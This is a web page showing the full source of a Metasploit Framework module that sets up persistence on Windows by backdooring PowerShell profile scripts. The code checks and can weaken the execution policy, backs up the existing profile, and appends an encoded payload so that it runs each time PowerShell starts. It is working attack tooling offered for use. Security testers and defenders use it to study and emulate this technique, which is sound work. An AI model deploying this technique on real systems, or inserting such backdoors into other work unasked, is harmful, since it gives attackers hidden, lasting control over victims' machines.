Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/powershell_profile.rb
59979 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::Powershell
11
include Msf::Post::Windows::Registry
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Powershell Profile Persistence',
20
'Description' => %q{
21
This module establishes persistence by modifying a PowerShell profile script, which is automatically
22
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
23
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'madefourit'
28
],
29
'Platform' => [ 'win' ],
30
'Arch' => [ARCH_X64, ARCH_X86],
31
'SessionTypes' => [ 'meterpreter' ],
32
'Targets' => [[ 'Auto', {} ]],
33
'References' => [
34
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
35
['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
36
[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']
37
],
38
'DisclosureDate' => '2019-11-05',
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
43
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
44
}
45
)
46
)
47
register_options [
48
OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]),
49
OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]),
50
OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]),
51
]
52
end
53
54
def policy_allows_execution?
55
# Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back
56
execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"')
57
begin
58
@policies = JSON.parse(execution_policies)
59
rescue JSON::ParserError
60
print_error("Failed to parse powershell execution policies: #{execution_policies}")
61
return false
62
end
63
['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser'])
64
end
65
66
def check
67
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
68
69
unless policy_allows_execution?
70
if datastore['EXECUTIONPOLICY']
71
return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override")
72
else
73
return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY")
74
end
75
end
76
vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})")
77
78
CheckCode::Appears('Powershell is installed and exploitable on the target system')
79
end
80
81
def backdoor_profile(profile_file)
82
module_created_file = false
83
unless file?(profile_file)
84
if datastore['CREATE']
85
print_status("#{profile_file} does not exist, creating it...")
86
folders = profile_file.split('\\')[0..-2]
87
folders = folders.join('\\')
88
# we can't use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups
89
unless directory?(folders)
90
cmd_exec("cmd /c \"md #{folders}\"")
91
@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
92
end
93
unless write_file(profile_file, '') # write empty file so we can append later
94
print_error("Failed to create profile file at #{profile_file}")
95
return false
96
end
97
module_created_file = true
98
else
99
print_error("#{profile_file} does not exist and CREATE option is false")
100
return false
101
end
102
end
103
104
if module_created_file
105
@clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n"
106
else
107
pfile = read_file(profile_file)
108
if pfile.nil?
109
vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup")
110
else
111
backup_file = store_loot(
112
'powershell.profile',
113
'text/plain',
114
session,
115
pfile, profile_file.split('\\').last,
116
'powershell profile backup'
117
)
118
119
print_status("Created #{profile_file} backup: #{backup_file}")
120
@clean_up_rc << "upload #{backup_file} #{profile_file}\n"
121
end
122
end
123
124
pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
125
splitter = '-c '
126
pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here
127
pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes
128
129
vprint_status("Appending payload to #{profile_file}")
130
unless append_file(profile_file, "\n#{pload}\n")
131
print_error("Failed to append payload to #{profile_file}")
132
return false
133
end
134
true
135
end
136
137
def install_persistence
138
profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"')
139
begin
140
profiles = JSON.parse(profiles)
141
rescue JSON::ParserError
142
fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}")
143
end
144
profiles = profiles.transform_keys { |k| k.to_s.upcase }
145
146
if !policy_allows_execution? && datastore['EXECUTIONPOLICY']
147
print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned')
148
cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"')
149
@clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n"
150
end
151
152
case datastore['PROFILE']
153
when 'AUTO'
154
['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|
155
unless profiles.key?(profile)
156
print_error("#{profile} not found in user's profiles")
157
next
158
end
159
success = backdoor_profile(profiles[profile])
160
break if success
161
end
162
when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'
163
unless profiles.key?(datastore['PROFILE'])
164
fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles")
165
end
166
backdoor_profile(profiles[datastore['PROFILE']])
167
end
168
end
169
end
170
171